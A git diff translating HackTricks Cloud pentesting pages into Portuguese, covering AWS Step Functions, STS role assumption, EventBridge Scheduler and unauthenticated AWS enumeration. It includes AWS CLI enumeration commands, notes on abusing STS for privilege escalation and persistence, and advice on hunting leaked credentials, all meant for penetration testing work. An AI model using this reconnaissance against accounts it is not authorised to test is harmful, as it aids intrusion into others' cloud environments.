Lambda. +- **Escolha:** Toma decisões com base na entrada. +- **Falha/Sucesso:** Encerra a execução com uma falha ou sucesso. +- **Passar:** Passa a entrada para a saída ou injeta dados. +- **Esperar:** Atraso na execução por um tempo definido. +- **Paralelo:** Inicia ramificações paralelas. +- **Mapeamento:** Itera dinamicamente etapas sobre itens. -### Task +### Tarefa -A **Task** state represents a single unit of work executed by a state machine. Tasks can invoke various resources, including activities, Lambda functions, AWS services, or third-party APIs. +Um estado de **Tarefa** representa uma única unidade de trabalho executada por uma máquina de estados. As tarefas podem invocar vários recursos, incluindo atividades, funções Lambda, serviços da AWS ou APIs de terceiros. -- **Activities**: Custom workers you manage, suitable for long-running processes. - - Resource: **`arn:aws:states:region:account:activity:name`**. -- **Lambda Functions**: Executes AWS Lambda functions. - - Resource: **`arn:aws:lambda:region:account:function:function-name`**. -- **AWS Services**: Integrates directly with other AWS services, like DynamoDB or S3. - - Resource: **`arn:partition:states:region:account:servicename:APIname`**. -- **HTTP Task**: Calls third-party APIs. - - Resource field: **`arn:aws:states:::http:invoke`**. Then, you should provide the API endpoint configuration details, such as the API URL, method, and authentication details. - -The following example shows a Task state definition that invokes a Lambda function called HelloWorld: +- **Atividades**: Trabalhadores personalizados que você gerencia, adequados para processos de longa duração. +- Recurso: **`arn:aws:states:region:account:activity:name`**. +- **Funções Lambda**: Executa funções AWS Lambda. +- Recurso: **`arn:aws:lambda:region:account:function:function-name`**. +- **Serviços da AWS**: Integra-se diretamente com outros serviços da AWS, como DynamoDB ou S3. +- Recurso: **`arn:partition:states:region:account:servicename:APIname`**. +- **Tarefa HTTP**: Chama APIs de terceiros. +- Campo de recurso: **`arn:aws:states:::http:invoke`**. Em seguida, você deve fornecer os detalhes de configuração do endpoint da API, como a URL da API, método e detalhes de autenticação. +O seguinte exemplo mostra uma definição de estado de Tarefa que invoca uma função Lambda chamada HelloWorld: ```json "HelloWorld": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "Payload.$": "$", - "FunctionName": "arn:aws:lambda:::function:HelloWorld" - }, - "End": true +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"Payload.$": "$", +"FunctionName": "arn:aws:lambda:::function:HelloWorld" +}, +"End": true } ``` - ### Choice -A **Choice** state adds conditional logic to a workflow, enabling decisions based on input data. It evaluates the specified conditions and transitions to the corresponding state based on the results. +Um **Choice** state adiciona lógica condicional a um fluxo de trabalho, permitindo decisões com base em dados de entrada. Ele avalia as condições especificadas e transita para o estado correspondente com base nos resultados. -- **Comparison**: Each choice rule includes a comparison operator (e.g., **`NumericEquals`**, **`StringEquals`**) that compares an input variable to a specified value or another variable. -- **Next Field**: Choice states do not support don't support the **`End`** field, instead, they define the **`Next`** state to transition to if the comparison is true. - -Example of **Choice** state: +- **Comparison**: Cada regra de escolha inclui um operador de comparação (por exemplo, **`NumericEquals`**, **`StringEquals`**) que compara uma variável de entrada a um valor especificado ou outra variável. +- **Next Field**: Choice states não suportam o campo **`End`**, em vez disso, definem o estado **`Next`** para transitar se a comparação for verdadeira. +Exemplo de **Choice** state: ```json { - "Variable": "$.timeStamp", - "TimestampEquals": "2000-01-01T00:00:00Z", - "Next": "TimeState" +"Variable": "$.timeStamp", +"TimestampEquals": "2000-01-01T00:00:00Z", +"Next": "TimeState" } ``` +### Falha/Sucesso -### Fail/Succeed +Um **`Fail`** estado interrompe a execução de uma máquina de estados e a marca como uma falha. É usado para especificar um nome de erro e uma causa, fornecendo detalhes sobre a falha. Este estado é terminal, o que significa que encerra o fluxo de execução. -A **`Fail`** state stops the execution of a state machine and marks it as a failure. It is used to specify an error name and a cause, providing details about the failure. This state is terminal, meaning it ends the execution flow. - -A **`Succeed`** state stops the execution successfully. It is typically used to terminate the workflow when it completes successfully. This state does not require a **`Next`** field. +Um **`Succeed`** estado interrompe a execução com sucesso. É tipicamente usado para encerrar o fluxo de trabalho quando ele é concluído com sucesso. Este estado não requer um campo **`Next`**. {{#tabs }} -{{#tab name="Fail example" }} - +{{#tab name="Exemplo de Falha" }} ```json "FailState": { - "Type": "Fail", - "Error": "ErrorName", - "Cause": "Error details" +"Type": "Fail", +"Error": "ErrorName", +"Cause": "Error details" } ``` - {{#endtab }} -{{#tab name="Succeed example" }} - +{{#tab name="Exemplo de sucesso" }} ```json "SuccessState": { - "Type": "Succeed" +"Type": "Succeed" } ``` - {{#endtab }} {{#endtabs }} ### Pass -A **Pass** state passes its input to its output either without performing any work or transformin JSON state input using filters, and then passing the transformed data to the next state. It is useful for testing and constructing state machines, allowing you to inject static data or transform it. - +Um estado **Pass** passa sua entrada para sua saída, seja sem realizar qualquer trabalho ou transformando a entrada do estado JSON usando filtros, e então passando os dados transformados para o próximo estado. É útil para testar e construir máquinas de estado, permitindo que você injete dados estáticos ou os transforme. ```json "PassState": { - "Type": "Pass", - "Result": {"key": "value"}, - "ResultPath": "$.newField", - "Next": "NextState" +"Type": "Pass", +"Result": {"key": "value"}, +"ResultPath": "$.newField", +"Next": "NextState" +} +``` +### Wait + +Um **Wait** state atrasa a execução da máquina de estados por uma duração especificada. Existem três métodos principais para configurar o tempo de espera: + +- **X Seconds**: Um número fixo de segundos para esperar. + +```json +"WaitState": { +"Type": "Wait", +"Seconds": 10, +"Next": "NextState" } ``` -### Wait +- **Absolute Timestamp**: Um horário exato para esperar até. -A **Wait** state delays the execution of the state machine for a specified duration. There are three primary methods to configure the wait time: +```json +"WaitState": { +"Type": "Wait", +"Timestamp": "2024-03-14T01:59:00Z", +"Next": "NextState" +} +``` -- **X Seconds**: A fixed number of seconds to wait. +- **Dynamic Wait**: Baseado em entrada usando **`SecondsPath`** ou **`TimestampPath`**. - ```json - "WaitState": { - "Type": "Wait", - "Seconds": 10, - "Next": "NextState" - } - ``` - -- **Absolute Timestamp**: An exact time to wait until. - - ```json - "WaitState": { - "Type": "Wait", - "Timestamp": "2024-03-14T01:59:00Z", - "Next": "NextState" - } - ``` - -- **Dynamic Wait**: Based on input using **`SecondsPath`** or **`TimestampPath`**. - - ```json - jsonCopiar código - "WaitState": { - "Type": "Wait", - "TimestampPath": "$.expirydate", - "Next": "NextState" - } - ``` +```json +jsonCopiar código +"WaitState": { +"Type": "Wait", +"TimestampPath": "$.expirydate", +"Next": "NextState" +} +``` ### Parallel -A **Parallel** state allows you to execute multiple branches of tasks concurrently within your workflow. Each branch runs independently and processes its own sequence of states. The execution waits until all branches complete before proceeding to the next state. Its key fields are: - -- **Branches**: An array defining the parallel execution paths. Each branch is a separate state machine. -- **ResultPath**: Defines where (in the input) to place the combined output of the branches. -- **Retry and Catch**: Error handling configurations for the parallel state. +Um **Parallel** state permite que você execute múltiplos ramos de tarefas simultaneamente dentro do seu fluxo de trabalho. Cada ramo é executado de forma independente e processa sua própria sequência de estados. A execução aguarda até que todos os ramos sejam concluídos antes de prosseguir para o próximo estado. Seus campos principais são: +- **Branches**: Um array definindo os caminhos de execução paralela. Cada ramo é uma máquina de estados separada. +- **ResultPath**: Define onde (na entrada) colocar a saída combinada dos ramos. +- **Retry and Catch**: Configurações de tratamento de erros para o estado paralelo. ```json "ParallelState": { - "Type": "Parallel", - "Branches": [ - { - "StartAt": "Task1", - "States": { ... } - }, - { - "StartAt": "Task2", - "States": { ... } - } - ], - "Next": "NextState" +"Type": "Parallel", +"Branches": [ +{ +"StartAt": "Task1", +"States": { ... } +}, +{ +"StartAt": "Task2", +"States": { ... } +} +], +"Next": "NextState" +} +``` +### Mapa + +Um **Map** state permite a execução de um conjunto de etapas para cada item em um conjunto de dados. É usado para processamento paralelo de dados. Dependendo de como você deseja processar os itens do conjunto de dados, o Step Functions fornece os seguintes modos: + +- **Modo Inline**: Executa um subconjunto de estados para cada item do array JSON. Adequado para tarefas em pequena escala com menos de 40 iterações paralelas, executando cada uma delas no contexto do fluxo de trabalho que contém o **`Map`** state. + +```json +"MapState": { +"Type": "Map", +"ItemsPath": "$.arrayItems", +"ItemProcessor": { +"ProcessorConfig": { +"Mode": "INLINE" +}, +"StartAt": "AddState", +"States": { +"AddState": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"OutputPath": "$.Payload", +"Parameters": { +"FunctionName": "arn:aws:lambda:::function:add-function" +}, +"End": true +} +} +}, +"End": true +"ResultPath": "$.detail.added", +"ItemsPath": "$.added" } ``` -### Map +- **Modo Distribuído**: Projetado para processamento paralelo em larga escala com alta concorrência. Suporta o processamento de grandes conjuntos de dados, como aqueles armazenados no Amazon S3, permitindo uma alta concorrência de até 10.000 execuções de fluxo de trabalho filho paralelas, executando esses filhos como uma execução separada. -A **Map** state enables the execution of a set of steps for each item in an dataset. It's used for parallel processing of data. Depending on how you want to process the items of the dataset, Step Functions provides the following modes: +```json +"DistributedMapState": { +"Type": "Map", +"ItemReader": { +"Resource": "arn:aws:states:::s3:getObject", +"Parameters": { +"Bucket": "my-bucket", +"Key": "data.csv" +} +}, +"ItemProcessor": { +"ProcessorConfig": { +"Mode": "DISTRIBUTED", +"ExecutionType": "EXPRESS" +}, +"StartAt": "ProcessItem", +"States": { +"ProcessItem": { +"Type": "Task", +"Resource": "arn:aws:lambda:region:account-id:function:my-function", +"End": true +} +} +}, +"End": true +"ResultWriter": { +"Resource": "arn:aws:states:::s3:putObject", +"Parameters": { +"Bucket": "myOutputBucket", +"Prefix": "csvProcessJobs" +} +} +} +``` -- **Inline Mode**: Executes a subset of states for each JSON array item. Suitable for small-scale tasks with less than 40 parallel iterations, running each of them in the context of the workflow that contains the **`Map`** state. +### Versões e aliases - ```json - "MapState": { - "Type": "Map", - "ItemsPath": "$.arrayItems", - "ItemProcessor": { - "ProcessorConfig": { - "Mode": "INLINE" - }, - "StartAt": "AddState", - "States": { - "AddState": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "OutputPath": "$.Payload", - "Parameters": { - "FunctionName": "arn:aws:lambda:::function:add-function" - }, - "End": true - } - } - }, - "End": true - "ResultPath": "$.detail.added", - "ItemsPath": "$.added" - } - ``` +O Step Functions também permite gerenciar implantações de fluxo de trabalho através de **versões** e **aliases** de máquinas de estado. Uma versão representa uma captura instantânea de uma máquina de estado que pode ser executada. Aliases servem como ponteiros para até duas versões de uma máquina de estado. -- **Distributed Mode**: Designed for large-scale parallel processing with high concurrency. Supports processing large datasets, such as those stored in Amazon S3, enabling a high concurrency of up 10,000 parallel child workflow executions, running these child as a separate child execution. +- **Versões**: Essas capturas instantâneas imutáveis de uma máquina de estado são criadas a partir da revisão mais recente dessa máquina de estado. Cada versão é identificada por um ARN exclusivo que combina o ARN da máquina de estado com o número da versão, separado por dois pontos (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Versões não podem ser editadas, mas você pode atualizar a máquina de estado e publicar uma nova versão, ou usar a versão desejada da máquina de estado. +- **Aliases**: Esses ponteiros podem referenciar até duas versões da mesma máquina de estado. Múltiplos aliases podem ser criados para uma única máquina de estado, cada um identificado por um ARN exclusivo construído combinando o ARN da máquina de estado com o nome do alias, separado por dois pontos (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliases permitem o roteamento de tráfego entre uma das duas versões de uma máquina de estado. Alternativamente, um alias pode apontar para uma única versão específica da máquina de estado, mas não para outros aliases. Eles podem ser atualizados para redirecionar para uma versão diferente da máquina de estado conforme necessário, facilitando implantações controladas e gerenciamento de fluxo de trabalho. - ```json - "DistributedMapState": { - "Type": "Map", - "ItemReader": { - "Resource": "arn:aws:states:::s3:getObject", - "Parameters": { - "Bucket": "my-bucket", - "Key": "data.csv" - } - }, - "ItemProcessor": { - "ProcessorConfig": { - "Mode": "DISTRIBUTED", - "ExecutionType": "EXPRESS" - }, - "StartAt": "ProcessItem", - "States": { - "ProcessItem": { - "Type": "Task", - "Resource": "arn:aws:lambda:region:account-id:function:my-function", - "End": true - } - } - }, - "End": true - "ResultWriter": { - "Resource": "arn:aws:states:::s3:putObject", - "Parameters": { - "Bucket": "myOutputBucket", - "Prefix": "csvProcessJobs" - } - } - } - ``` +Para mais informações detalhadas sobre **ASL**, consulte: [**Amazon States Language**](https://states-language.net/spec.html). -### Versions and aliases +## Funções IAM para Máquinas de Estado -Step Functions also lets you manage workflow deployments through **versions** and **aliases** of state machines. A version represents a snapshot of a state machine that can be executed. Aliases serve as pointers to up to two versions of a state machine. +O AWS Step Functions utiliza funções do AWS Identity and Access Management (IAM) para controlar o acesso a recursos e ações dentro das máquinas de estado. Aqui estão os principais aspectos relacionados à segurança e funções IAM no AWS Step Functions: -- **Versions**: These immutable snapshots of a state machine are created from the most recent revision of that state machine. Each version is identified by a unique ARN that combines the state machine ARN with the version number, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Versions cannot be edited, but you can update the state machine and publish a new version, or use the desired state machine version. -- **Aliases**: These pointers can reference up to two versions of the same state machine. Multiple aliases can be created for a single state machine, each identified by a unique ARN constructed by combining the state machine ARN with the alias name, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliases enable routing of traffic between one of the two versions of a state machine. Alternatively, an alias can point to a single specific version of the state machine, but not to other aliases. They can be updated to redirect to a different version of the state machine as needed, facilitating controlled deployments and workflow management. +- **Função de Execução**: Cada máquina de estado no AWS Step Functions está associada a uma função de execução IAM. Essa função define quais ações a máquina de estado pode realizar em seu nome. Quando uma máquina de estado transita entre estados que interagem com serviços AWS (como invocar funções Lambda, acessar DynamoDB, etc.), ela assume essa função de execução para realizar essas ações. +- **Permissões**: A função de execução IAM deve ser configurada com permissões que permitam as ações necessárias em outros serviços AWS. Por exemplo, se sua máquina de estado precisar invocar funções AWS Lambda, a função IAM deve ter permissões **`lambda:InvokeFunction`**. Da mesma forma, se precisar gravar no DynamoDB, permissões apropriadas (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.) devem ser concedidas. -For more detailed information about **ASL**, check: [**Amazon States Language**](https://states-language.net/spec.html). - -## IAM Roles for State machines - -AWS Step Functions utilizes AWS Identity and Access Management (IAM) roles to control access to resources and actions within state machines. Here are the key aspects related to security and IAM roles in AWS Step Functions: - -- **Execution Role**: Each state machine in AWS Step Functions is associated with an IAM execution role. This role defines what actions the state machine can perform on your behalf. When a state machine transitions between states that interact with AWS services (like invoking Lambda functions, accessing DynamoDB, etc.), it assumes this execution role to carry out those actions. -- **Permissions**: The IAM execution role must be configured with permissions that allow the necessary actions on other AWS services. For example, if your state machine needs to invoke AWS Lambda functions, the IAM role must have **`lambda:InvokeFunction`** permissions. Similarly, if it needs to write to DynamoDB, appropriate permissions (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.) must be granted. - -## Enumeration - -ReadOnlyAccess policy is enough for all the following enumeration actions. +## Enumeração +A política ReadOnlyAccess é suficiente para todas as seguintes ações de enumeração. ```bash # State machines # @@ -310,10 +297,9 @@ aws stepfunctions describe-map-run --map-run-arn ## Lists executions of a Map Run aws stepfunctions list-executions --map-run-arn [--status-filter ] [--redrive-filter ] ``` - ## Privesc -In the following page, you can check how to **abuse Step Functions permissions to escalate privileges**: +Na página a seguir, você pode verificar como **abusar das permissões do Step Functions para escalar privilégios**: {{#ref}} ../aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -338,7 +324,3 @@ In the following page, you can check how to **abuse Step Functions permissions t - [https://states-language.net/spec.html](https://states-language.net/spec.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md index 385d55c3b..584a04083 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md @@ -4,62 +4,57 @@ ## STS -**AWS Security Token Service (STS)** is primarily designed to issue **temporary, limited-privilege credentials**. These credentials can be requested for **AWS Identity and Access Management (IAM)** users or for authenticated users (federated users). +**AWS Security Token Service (STS)** é projetado principalmente para emitir **credenciais temporárias e de privilégio limitado**. Essas credenciais podem ser solicitadas para **AWS Identity and Access Management (IAM)** usuários ou para usuários autenticados (usuários federados). -Given that STS's purpose is to **issue credentials for identity impersonation**, the service is immensely valuable for **escalating privileges and maintaining persistence**, even though it might not have a wide array of options. +Dado que o propósito do STS é **emitir credenciais para impersonação de identidade**, o serviço é imensamente valioso para **escalonamento de privilégios e manutenção de persistência**, mesmo que possa não ter uma ampla gama de opções. -### Assume Role Impersonation +### Impersonação de Função -The action [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) provided by AWS STS is crucial as it permits a principal to acquire credentials for another principal, essentially impersonating them. Upon invocation, it responds with an access key ID, a secret key, and a session token corresponding to the specified ARN. +A ação [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) fornecida pelo AWS STS é crucial, pois permite que um principal adquira credenciais para outro principal, essencialmente o impersonando. Ao ser invocada, ela responde com um ID de chave de acesso, uma chave secreta e um token de sessão correspondente ao ARN especificado. -For Penetration Testers or Red Team members, this technique is instrumental for privilege escalation (as elaborated [**here**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). However, it's worth noting that this technique is quite conspicuous and may not catch an attacker off guard. +Para Testadores de Penetração ou membros da Equipe Vermelha, essa técnica é instrumental para escalonamento de privilégios (como detalhado [**aqui**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). No entanto, vale a pena notar que essa técnica é bastante conspícua e pode não pegar um atacante de surpresa. -#### Assume Role Logic - -In order to assume a role in the same account if the **role to assume is allowing specifically a role ARN** like in: +#### Lógica de Assumir Função +Para assumir uma função na mesma conta, se a **função a ser assumida estiver permitindo especificamente um ARN de função** como em: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::role/priv-role" - }, - "Action": "sts:AssumeRole", - "Condition": {} - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::role/priv-role" +}, +"Action": "sts:AssumeRole", +"Condition": {} +} +] } ``` +O papel **`priv-role`** neste caso, **não precisa ser especificamente permitido** para assumir esse papel (com essa permissão é suficiente). -The role **`priv-role`** in this case, **doesn't need to be specifically allowed** to assume that role (with that allowance is enough). - -However, if a role is allowing an account to assume it, like in: - +No entanto, se um papel estiver permitindo que uma conta o assuma, como em: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "sts:AssumeRole", - "Condition": {} - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "sts:AssumeRole", +"Condition": {} +} +] } ``` +O papel que está tentando assumir precisará de uma **permissão específica `sts:AssumeRole`** sobre esse papel **para assumi-lo**. -The role trying to assume it will need a **specific `sts:AssumeRole` permission** over that role **to assume it**. - -If you try to assume a **role** **from a different account**, the **assumed role must allow it** (indicating the role **ARN** or the **external account**), and the **role trying to assume** the other one **MUST** to h**ave permissions to assume it** (in this case this isn't optional even if the assumed role is specifying an ARN). - -### Enumeration +Se você tentar assumir um **papel** **de uma conta diferente**, o **papel assumido deve permitir isso** (indicando o **ARN** do papel ou a **conta externa**), e o **papel que está tentando assumir** o outro **DEVE** ter **permissões para assumi-lo** (neste caso, isso não é opcional, mesmo que o papel assumido esteja especificando um ARN). +### Enumeração ```bash # Get basic info of the creds aws sts get-caller-identity @@ -72,10 +67,9 @@ aws sts get-session-token ## MFA aws sts get-session-token --serial-number --token-code ``` - ### Privesc -In the following page you can check how to **abuse STS permissions to escalate privileges**: +Na página a seguir, você pode verificar como **abusar das permissões do STS para escalar privilégios**: {{#ref}} ../aws-privilege-escalation/aws-sts-privesc.md @@ -98,7 +92,3 @@ In the following page you can check how to **abuse STS permissions to escalate p - [https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist](https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md index a2f2e0c2f..748d98d7b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md @@ -1,4 +1,4 @@ -# AWS - EventBridge Scheduler Enum +# AWS - Enumeração do EventBridge Scheduler ## EventBridge Scheduler @@ -6,49 +6,48 @@ ## EventBridge Scheduler -**Amazon EventBridge Scheduler** is a fully managed, **serverless scheduler designed to create, run, and manage tasks** at scale. It enables you to schedule millions of tasks across over 270 AWS services and 6,000+ API operations, all from a central service. With built-in reliability and no infrastructure to manage, EventBridge Scheduler simplifies scheduling, reduces maintenance costs, and scales automatically to meet demand. You can configure cron or rate expressions for recurring schedules, set one-time invocations, and define flexible delivery windows with retry options, ensuring tasks are reliably delivered based on the availability of downstream targets. +**Amazon EventBridge Scheduler** é um **agendador totalmente gerenciado e sem servidor projetado para criar, executar e gerenciar tarefas** em grande escala. Ele permite que você agende milhões de tarefas em mais de 270 serviços AWS e mais de 6.000 operações de API, tudo a partir de um serviço central. Com confiabilidade embutida e sem infraestrutura para gerenciar, o EventBridge Scheduler simplifica o agendamento, reduz os custos de manutenção e escala automaticamente para atender à demanda. Você pode configurar expressões cron ou de taxa para agendamentos recorrentes, definir invocações únicas e definir janelas de entrega flexíveis com opções de reintento, garantindo que as tarefas sejam entregues de forma confiável com base na disponibilidade dos alvos downstream. -There is an initial limit of 1,000,000 schedules per region per account. Even the official quotas page suggests, "It's recommended to delete one-time schedules once they've completed." +Há um limite inicial de 1.000.000 de agendamentos por região por conta. Até a página oficial de cotas sugere: "É recomendável excluir agendamentos únicos uma vez que tenham sido concluídos." -### Types of Schedules +### Tipos de Agendamentos -Types of Schedules in EventBridge Scheduler: +Tipos de Agendamentos no EventBridge Scheduler: -1. **One-time schedules** – Execute a task at a specific time, e.g., December 21st at 7 AM UTC. -2. **Rate-based schedules** – Set recurring tasks based on a frequency, e.g., every 2 hours. -3. **Cron-based schedules** – Set recurring tasks using a cron expression, e.g., every Friday at 4 PM. +1. **Agendamentos únicos** – Execute uma tarefa em um horário específico, por exemplo, 21 de dezembro às 7 AM UTC. +2. **Agendamentos baseados em taxa** – Defina tarefas recorrentes com base em uma frequência, por exemplo, a cada 2 horas. +3. **Agendamentos baseados em cron** – Defina tarefas recorrentes usando uma expressão cron, por exemplo, toda sexta-feira às 4 PM. -Two Mechanisms for Handling Failed Events: +Dois Mecanismos para Lidar com Eventos Falhados: -1. **Retry Policy** – Defines the number of retry attempts for a failed event and how long to keep it unprocessed before considering it a failure. -2. **Dead-Letter Queue (DLQ)** – A standard Amazon SQS queue where failed events are delivered after retries are exhausted. DLQs help in troubleshooting issues with your schedule or its downstream target. +1. **Política de Reintento** – Define o número de tentativas de reintento para um evento falhado e quanto tempo mantê-lo não processado antes de considerá-lo uma falha. +2. **Fila de Mensagens Mortas (DLQ)** – Uma fila padrão do Amazon SQS onde eventos falhados são entregues após as tentativas de reintento serem esgotadas. DLQs ajudam na solução de problemas com seu agendamento ou seu alvo downstream. -### Targets +### Alvos -There are 2 types of targets for a scheduler [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), which are commonly used and AWS made them easier to configure, and [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), which can be used to call any AWS API. +Existem 2 tipos de alvos para um agendador [**modelados (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), que são comumente usados e a AWS facilitou sua configuração, e [**universais (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), que podem ser usados para chamar qualquer API AWS. -**Templated targets** support the following services: +**Alvos modelados** suportam os seguintes serviços: - CodeBuild – StartBuild - CodePipeline – StartPipelineExecution - Amazon ECS – RunTask - - Parameters: EcsParameters +- Parâmetros: EcsParameters - EventBridge – PutEvents - - Parameters: EventBridgeParameters +- Parâmetros: EventBridgeParameters - Amazon Inspector – StartAssessmentRun - Kinesis – PutRecord - - Parameters: KinesisParameters +- Parâmetros: KinesisParameters - Firehose – PutRecord - Lambda – Invoke - SageMaker – StartPipelineExecution - - Parameters: SageMakerPipelineParameters +- Parâmetros: SageMakerPipelineParameters - Amazon SNS – Publish - Amazon SQS – SendMessage - - Parameters: SqsParameters +- Parâmetros: SqsParameters - Step Functions – StartExecution -### Enumeration - +### Enumeração ```bash # List all EventBridge Scheduler schedules aws scheduler list-schedules @@ -65,21 +64,16 @@ aws scheduler get-schedule-group --name # List tags for a specific schedule (helpful in identifying any custom tags or permissions) aws scheduler list-tags-for-resource --resource-arn ``` - ### Privesc -In the following page, you can check how to **abuse eventbridge scheduler permissions to escalate privileges**: +Na página a seguir, você pode verificar como **abusar das permissões do eventbridge scheduler para escalar privilégios**: {{#ref}} ../aws-privilege-escalation/eventbridgescheduler-privesc.md {{#endref}} -## References +## Referências - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md index 0003290b4..5d59bf32b 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md @@ -1,58 +1,54 @@ -# AWS - Unauthenticated Enum & Access +# AWS - Enumeração e Acesso Não Autenticado {{#include ../../../banners/hacktricks-training.md}} -## AWS Credentials Leaks +## Vazamentos de Credenciais AWS -A common way to obtain access or information about an AWS account is by **searching for leaks**. You can search for leaks using **google dorks**, checking the **public repos** of the **organization** and the **workers** of the organization in **Github** or other platforms, searching in **credentials leaks databases**... or in any other part you think you might find any information about the company and its cloud infa.\ -Some useful **tools**: +Uma maneira comum de obter acesso ou informações sobre uma conta AWS é **procurando por vazamentos**. Você pode procurar por vazamentos usando **google dorks**, verificando os **repositórios públicos** da **organização** e dos **trabalhadores** da organização no **Github** ou em outras plataformas, pesquisando em **bancos de dados de vazamentos de credenciais**... ou em qualquer outra parte que você acha que pode encontrar alguma informação sobre a empresa e sua infraestrutura em nuvem.\ +Algumas **ferramentas** úteis: - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos) - [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos) - [https://github.com/carlospolop/gorks](https://github.com/carlospolop/gorks) -## AWS Unauthenticated Enum & Access +## Enumeração e Acesso Não Autenticado AWS -There are several services in AWS that could be configured giving some kind of access to all Internet or to more people than expected. Check here how: +Existem vários serviços na AWS que podem ser configurados dando algum tipo de acesso a toda a Internet ou a mais pessoas do que o esperado. Confira aqui como: -- [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum.md) -- [**Cloud9 Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Cloudfront Unauthenticated Enum**](aws-cloudfront-unauthenticated-enum.md) -- [**Cloudsearch Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) -- [**Cognito Unauthenticated Enum**](aws-cognito-unauthenticated-enum.md) -- [**DocumentDB Unauthenticated Enum**](aws-documentdb-enum.md) -- [**EC2 Unauthenticated Enum**](aws-ec2-unauthenticated-enum.md) -- [**Elasticsearch Unauthenticated Enum**](aws-elasticsearch-unauthenticated-enum.md) -- [**IAM Unauthenticated Enum**](aws-iam-and-sts-unauthenticated-enum.md) -- [**IoT Unauthenticated Access**](aws-iot-unauthenticated-enum.md) -- [**Kinesis Video Unauthenticated Access**](aws-kinesis-video-unauthenticated-enum.md) -- [**Media Unauthenticated Access**](aws-media-unauthenticated-enum.md) -- [**MQ Unauthenticated Access**](aws-mq-unauthenticated-enum.md) -- [**MSK Unauthenticated Access**](aws-msk-unauthenticated-enum.md) -- [**RDS Unauthenticated Access**](aws-rds-unauthenticated-enum.md) -- [**Redshift Unauthenticated Access**](aws-redshift-unauthenticated-enum.md) -- [**SQS Unauthenticated Access**](aws-sqs-unauthenticated-enum.md) -- [**S3 Unauthenticated Access**](aws-s3-unauthenticated-enum.md) +- [**Enumeração Não Autenticada de Contas**](aws-accounts-unauthenticated-enum.md) +- [**Enumeração Não Autenticada do Cloud9**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Enumeração Não Autenticada do Cloudfront**](aws-cloudfront-unauthenticated-enum.md) +- [**Enumeração Não Autenticada do Cloudsearch**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md) +- [**Enumeração Não Autenticada do Cognito**](aws-cognito-unauthenticated-enum.md) +- [**Enumeração Não Autenticada do DocumentDB**](aws-documentdb-enum.md) +- [**Enumeração Não Autenticada do EC2**](aws-ec2-unauthenticated-enum.md) +- [**Enumeração Não Autenticada do Elasticsearch**](aws-elasticsearch-unauthenticated-enum.md) +- [**Enumeração Não Autenticada do IAM**](aws-iam-and-sts-unauthenticated-enum.md) +- 